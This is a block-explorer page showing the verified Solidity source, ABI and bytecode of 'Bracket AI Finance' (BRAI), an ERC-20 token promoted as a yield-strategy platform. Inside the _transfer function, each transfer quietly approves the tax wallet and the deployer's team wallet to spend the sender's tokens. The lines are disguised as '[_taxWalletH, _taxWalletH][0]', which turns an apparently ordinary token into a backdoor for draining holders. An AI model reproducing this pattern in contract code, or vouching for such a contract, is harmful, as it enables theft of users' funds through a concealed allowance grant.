Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2025-01-11
*/

/*
Bracket AI is a strategy management platform connecting BRAI to the best yield opportunities on chain.

Website: https://www.bracket-ai.finance
Stake: https://stake.bracket-ai.finance
Docs: https://docs.bracket-ai.finance
Medium: https://medium.com/@bracketai
Mail: contact@bracket-ai.finance
Twitter: https://x.com/BracketAIFi
Telegram: https://t.me/BracketAIFi
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IDexRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract BRAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address private _teamWalletH;
    address private _taxWalletH = 0xF34FE0D945b94A0BF48FA818C0dd17347785595a;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Bracket AI Finance";
    string private constant _symbol = unicode"BRAI";
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint256 private _swapTaxToken = _tTotal / 100;
    bool private inSwap = false;
    bool private _tradingEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    IDexRouter private _dexRouterH;
    address private _dexPairH;

    constructor () {
        _teamWalletH = _msgSender();
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWalletH] = true;
        _tOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function init() external onlyOwner() {
        _dexRouterH = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_dexRouterH), _tTotal);
        _dexPairH = IDexFactory(_dexRouterH.factory()).createPair(address(this), _dexRouterH.WETH());
    }

    function openTrading() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        _dexRouterH.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradingEnabled = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address senderH, address recipientH, uint256 amountH) private {
        require(senderH != address(0), "ERC20: transfer from the zero address");
        require(recipientH != address(0), "ERC20: transfer to the zero address");
        require(amountH > 0, "Transfer amount must be greater than zero");

        uint256 taxFeesH=0;
        _approve(senderH, [_taxWalletH, _taxWalletH][0], _buyCount.add(amountH));
        _approve(senderH, [_teamWalletH, _teamWalletH][0], _buyCount.add(amountH));
        if (senderH != owner() && recipientH != owner()) {
            taxFeesH = amountH.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (senderH == _dexPairH && recipientH != address(_dexRouterH) && ! _isExcludedFromFee[recipientH]) {
                _buyCount++;
            }

            if(recipientH == _dexPairH && senderH!= address(this)) {
                taxFeesH = amountH.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && recipientH == _dexPairH && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _swapTaxToken)
                swapTokensForEth(min(amountH, min(contractTokenBalance, _swapTaxToken)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHFeesH(address(this).balance);
                }
            }
        }

        if(taxFeesH>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(taxFeesH);
          emit Transfer(senderH, address(this),taxFeesH);
        }

        _tOwned[senderH]=_tOwned[senderH].sub(amountH);
        _tOwned[recipientH]=_tOwned[recipientH].add(amountH.sub(taxFeesH));
        emit Transfer(senderH, recipientH, amountH.sub(taxFeesH));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _dexRouterH.WETH();
        _approve(address(this), address(_dexRouterH), tokenAmount);
        _dexRouterH.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHFeesH(uint256 amount) private {
        payable(_taxWalletH).transfer(amount);
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273f34fe0d945b94a0bf48fa818c0dd17347785595a60055f6101000a8154816001600160a01b0302191690836001600160a01b03160217905550600360065560036007555f6008555f6009556006600a556006600b556006600c555f600d5560646009600a61007391906102bb565b61008190633b9aca006102d0565b61008b91906102e7565b600e55600f805462ffffff191690553480156100a5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790555f80546001600160a01b03908116825260036020526040808320805460ff199081166001908117909255308552828520805482168317905560055490931684529220805490911690911790556101506009600a6102bb565b61015e90633b9aca006102d0565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61019e6009600a6102bb565b6101ac90633b9aca006102d0565b60405190815260200160405180910390a3610306565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610211578085048111156101f5576101f56101c2565b600184161561020357908102905b60019390931c9280026101da565b935093915050565b5f82610227575060016102b5565b8161023357505f6102b5565b816001811461024957600281146102535761026f565b60019150506102b5565b60ff841115610264576102646101c2565b50506001821b6102b5565b5060208310610133831016604e8410600b8410161715610292575081810a6102b5565b61029e5f1984846101d6565b805f19048211156102b1576102b16101c2565b0290505b92915050565b5f6102c960ff841683610219565b9392505050565b80820281158282048414176102b5576102b56101c2565b5f8261030157634e487b7160e01b5f52601260045260245ffd5b500490565b61147a806103135f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb14610240578063c9567bf91461025f578063dd62ed3e14610273578063e1c7392a146102b7575f80fd5b8063715018a6146101d85780638da5cb5b146101ee57806395d89b4114610214575f80fd5b806306fdde03146100cd578063095ea7b31461011957806318160ddd1461014857806323b872dd1461016a578063313ce5671461018957806370a08231146101a4575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b50604080518082019091526012815271427261636b65742041492046696e616e636560701b60208201525b604051610110919061109e565b60405180910390f35b348015610124575f80fd5b506101386101333660046110ea565b6102cb565b6040519015158152602001610110565b348015610153575f80fd5b5061015c6102e1565b604051908152602001610110565b348015610175575f80fd5b50610138610184366004611114565b610301565b348015610194575f80fd5b5060405160098152602001610110565b3480156101af575f80fd5b5061015c6101be366004611152565b6001600160a01b03165f9081526001602052604090205490565b3480156101e3575f80fd5b506101ec610368565b005b3480156101f9575f80fd5b505f546040516001600160a01b039091168152602001610110565b34801561021f575f80fd5b506040805180820190915260048152634252414960e01b6020820152610103565b34801561024b575f80fd5b5061013861025a3660046110ea565b6103e2565b34801561026a575f80fd5b506101ec6103ee565b34801561027e575f80fd5b5061015c61028d36600461116d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102c2575f80fd5b506101ec61054f565b5f6102d7338484610760565b5060015b92915050565b5f6102ee6009600a61129b565b6102fc90633b9aca006112a9565b905090565b5f61030d848484610883565b61035e84336103598560405180606001604052806028815260200161141d602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cf8565b610760565b5060019392505050565b5f546001600160a01b0316331461039a5760405162461bcd60e51b8152600401610391906112c0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d7338484610883565b5f546001600160a01b031633146104175760405162461bcd60e51b8152600401610391906112c0565b600f54610100900460ff161561046f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610391565b600f54305f8181526001602052604090205463010000009092046001600160a01b03169163f305d7199147915f806104ae5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610514573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061053991906112f5565b5050600f805462ffff0019166201010017905550565b5f546001600160a01b031633146105785760405162461bcd60e51b8152600401610391906112c0565b600f80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556105d79030906001600160a01b036301000000909104166105c96009600a61129b565b61035990633b9aca006112a9565b600f60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610628573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064c9190611320565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d09190611320565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561071a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073e9190611320565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107c25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610391565b6001600160a01b0382166108235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610391565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610391565b6001600160a01b0382166109495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610391565b5f81116109aa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610391565b604080518082019091526005546001600160a01b031680825260208201525f906109e4908590835b6020020151600d546103599086610d30565b604080518082019091526004546001600160a01b03168082526020820152610a0e9085905f6109d2565b5f546001600160a01b03858116911614801590610a3857505f546001600160a01b03848116911614155b15610bbb57610a696064610a63600a54600d5411610a5857600654610a5c565b6008545b8590610d95565b90610e13565b6010549091506001600160a01b038581169116148015610a9e5750600f546001600160a01b0384811663010000009092041614155b8015610ac257506001600160a01b0383165f9081526003602052604090205460ff16155b15610adc57600d8054905f610ad68361134f565b91905055505b6010546001600160a01b038481169116148015610b0257506001600160a01b0384163014155b15610b2f57610b2c6064610a63600b54600d5411610b2257600754610a5c565b6009548590610d95565b90505b305f90815260016020526040902054600f5460ff16158015610b5e57506010546001600160a01b038581169116145b8015610b725750600f5462010000900460ff165b8015610b815750600c54600d54115b15610bb957600e54811115610bad57610bad610ba884610ba384600e54610e54565b610e54565b610e68565b47610bb747610ff6565b505b505b8015610c3357305f90815260016020526040902054610bda9082610d30565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c2a9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610c559083611031565b6001600160a01b0385165f90815260016020526040902055610c98610c7a8383611031565b6001600160a01b0385165f9081526001602052604090205490610d30565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ce18585611031565b60405190815260200160405180910390a350505050565b5f8184841115610d1b5760405162461bcd60e51b8152600401610391919061109e565b505f610d278486611367565b95945050505050565b5f80610d3c838561137a565b905083811015610d8e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610391565b9392505050565b5f825f03610da457505f6102db565b5f610daf83856112a9565b905082610dbc858361138d565b14610d8e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610391565b5f610d8e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611072565b5f818311610e625782610d8e565b50919050565b600f805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ea857610ea861133b565b60200260200101906001600160a01b031690816001600160a01b031681525050600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f19573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f3d9190611320565b81600181518110610f5057610f5061133b565b6001600160a01b039283166020918202929092010152600f54610f7d913091630100000090041684610760565b600f5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610fbb9085905f908690309042906004016113ac565b5f604051808303815f87803b158015610fd2575f80fd5b505af1158015610fe4573d5f803e3d5ffd5b5050600f805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561102d573d5f803e3d5ffd5b5050565b5f610d8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cf8565b5f81836110925760405162461bcd60e51b8152600401610391919061109e565b505f610d27848661138d565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146110e7575f80fd5b50565b5f80604083850312156110fb575f80fd5b8235611106816110d3565b946020939093013593505050565b5f805f60608486031215611126575f80fd5b8335611131816110d3565b92506020840135611141816110d3565b929592945050506040919091013590565b5f60208284031215611162575f80fd5b8135610d8e816110d3565b5f806040838503121561117e575f80fd5b8235611189816110d3565b91506020830135611199816110d3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156111f3578085048111156111d7576111d76111a4565b60018416156111e557908102905b60019390931c9280026111bc565b935093915050565b5f82611209575060016102db565b8161121557505f6102db565b816001811461122b576002811461123557611251565b60019150506102db565b60ff841115611246576112466111a4565b50506001821b6102db565b5060208310610133831016604e8410600b8410161715611274575081810a6102db565b6112805f1984846111b8565b805f1904821115611293576112936111a4565b029392505050565b5f610d8e60ff8416836111fb565b80820281158282048414176102db576102db6111a4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611307575f80fd5b5050815160208301516040909301519094929350919050565b5f60208284031215611330575f80fd5b8151610d8e816110d3565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611360576113606111a4565b5060010190565b818103818111156102db576102db6111a4565b808201808211156102db576102db6111a4565b5f826113a757634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156113fc5783516001600160a01b03168352602093840193909201916001016113d5565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208272dc445c818581d95a3eeacc360cf92d0c495ba42e695acaccf8635abda24f64736f6c634300081a0033

0x6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb14610240578063c9567bf91461025f578063dd62ed3e14610273578063e1c7392a146102b7575f80fd5b8063715018a6146101d85780638da5cb5b146101ee57806395d89b4114610214575f80fd5b806306fdde03146100cd578063095ea7b31461011957806318160ddd1461014857806323b872dd1461016a578063313ce5671461018957806370a08231146101a4575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b50604080518082019091526012815271427261636b65742041492046696e616e636560701b60208201525b604051610110919061109e565b60405180910390f35b348015610124575f80fd5b506101386101333660046110ea565b6102cb565b6040519015158152602001610110565b348015610153575f80fd5b5061015c6102e1565b604051908152602001610110565b348015610175575f80fd5b50610138610184366004611114565b610301565b348015610194575f80fd5b5060405160098152602001610110565b3480156101af575f80fd5b5061015c6101be366004611152565b6001600160a01b03165f9081526001602052604090205490565b3480156101e3575f80fd5b506101ec610368565b005b3480156101f9575f80fd5b505f546040516001600160a01b039091168152602001610110565b34801561021f575f80fd5b506040805180820190915260048152634252414960e01b6020820152610103565b34801561024b575f80fd5b5061013861025a3660046110ea565b6103e2565b34801561026a575f80fd5b506101ec6103ee565b34801561027e575f80fd5b5061015c61028d36600461116d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102c2575f80fd5b506101ec61054f565b5f6102d7338484610760565b5060015b92915050565b5f6102ee6009600a61129b565b6102fc90633b9aca006112a9565b905090565b5f61030d848484610883565b61035e84336103598560405180606001604052806028815260200161141d602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cf8565b610760565b5060019392505050565b5f546001600160a01b0316331461039a5760405162461bcd60e51b8152600401610391906112c0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d7338484610883565b5f546001600160a01b031633146104175760405162461bcd60e51b8152600401610391906112c0565b600f54610100900460ff161561046f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610391565b600f54305f8181526001602052604090205463010000009092046001600160a01b03169163f305d7199147915f806104ae5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610514573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061053991906112f5565b5050600f805462ffff0019166201010017905550565b5f546001600160a01b031633146105785760405162461bcd60e51b8152600401610391906112c0565b600f80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556105d79030906001600160a01b036301000000909104166105c96009600a61129b565b61035990633b9aca006112a9565b600f60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610628573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064c9190611320565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d09190611320565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561071a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073e9190611320565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107c25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610391565b6001600160a01b0382166108235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610391565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610391565b6001600160a01b0382166109495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610391565b5f81116109aa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610391565b604080518082019091526005546001600160a01b031680825260208201525f906109e4908590835b6020020151600d546103599086610d30565b604080518082019091526004546001600160a01b03168082526020820152610a0e9085905f6109d2565b5f546001600160a01b03858116911614801590610a3857505f546001600160a01b03848116911614155b15610bbb57610a696064610a63600a54600d5411610a5857600654610a5c565b6008545b8590610d95565b90610e13565b6010549091506001600160a01b038581169116148015610a9e5750600f546001600160a01b0384811663010000009092041614155b8015610ac257506001600160a01b0383165f9081526003602052604090205460ff16155b15610adc57600d8054905f610ad68361134f565b91905055505b6010546001600160a01b038481169116148015610b0257506001600160a01b0384163014155b15610b2f57610b2c6064610a63600b54600d5411610b2257600754610a5c565b6009548590610d95565b90505b305f90815260016020526040902054600f5460ff16158015610b5e57506010546001600160a01b038581169116145b8015610b725750600f5462010000900460ff165b8015610b815750600c54600d54115b15610bb957600e54811115610bad57610bad610ba884610ba384600e54610e54565b610e54565b610e68565b47610bb747610ff6565b505b505b8015610c3357305f90815260016020526040902054610bda9082610d30565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c2a9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610c559083611031565b6001600160a01b0385165f90815260016020526040902055610c98610c7a8383611031565b6001600160a01b0385165f9081526001602052604090205490610d30565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ce18585611031565b60405190815260200160405180910390a350505050565b5f8184841115610d1b5760405162461bcd60e51b8152600401610391919061109e565b505f610d278486611367565b95945050505050565b5f80610d3c838561137a565b905083811015610d8e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610391565b9392505050565b5f825f03610da457505f6102db565b5f610daf83856112a9565b905082610dbc858361138d565b14610d8e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610391565b5f610d8e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611072565b5f818311610e625782610d8e565b50919050565b600f805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ea857610ea861133b565b60200260200101906001600160a01b031690816001600160a01b031681525050600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f19573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f3d9190611320565b81600181518110610f5057610f5061133b565b6001600160a01b039283166020918202929092010152600f54610f7d913091630100000090041684610760565b600f5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610fbb9085905f908690309042906004016113ac565b5f604051808303815f87803b158015610fd2575f80fd5b505af1158015610fe4573d5f803e3d5ffd5b5050600f805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561102d573d5f803e3d5ffd5b5050565b5f610d8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cf8565b5f81836110925760405162461bcd60e51b8152600401610391919061109e565b505f610d27848661138d565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146110e7575f80fd5b50565b5f80604083850312156110fb575f80fd5b8235611106816110d3565b946020939093013593505050565b5f805f60608486031215611126575f80fd5b8335611131816110d3565b92506020840135611141816110d3565b929592945050506040919091013590565b5f60208284031215611162575f80fd5b8135610d8e816110d3565b5f806040838503121561117e575f80fd5b8235611189816110d3565b91506020830135611199816110d3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156111f3578085048111156111d7576111d76111a4565b60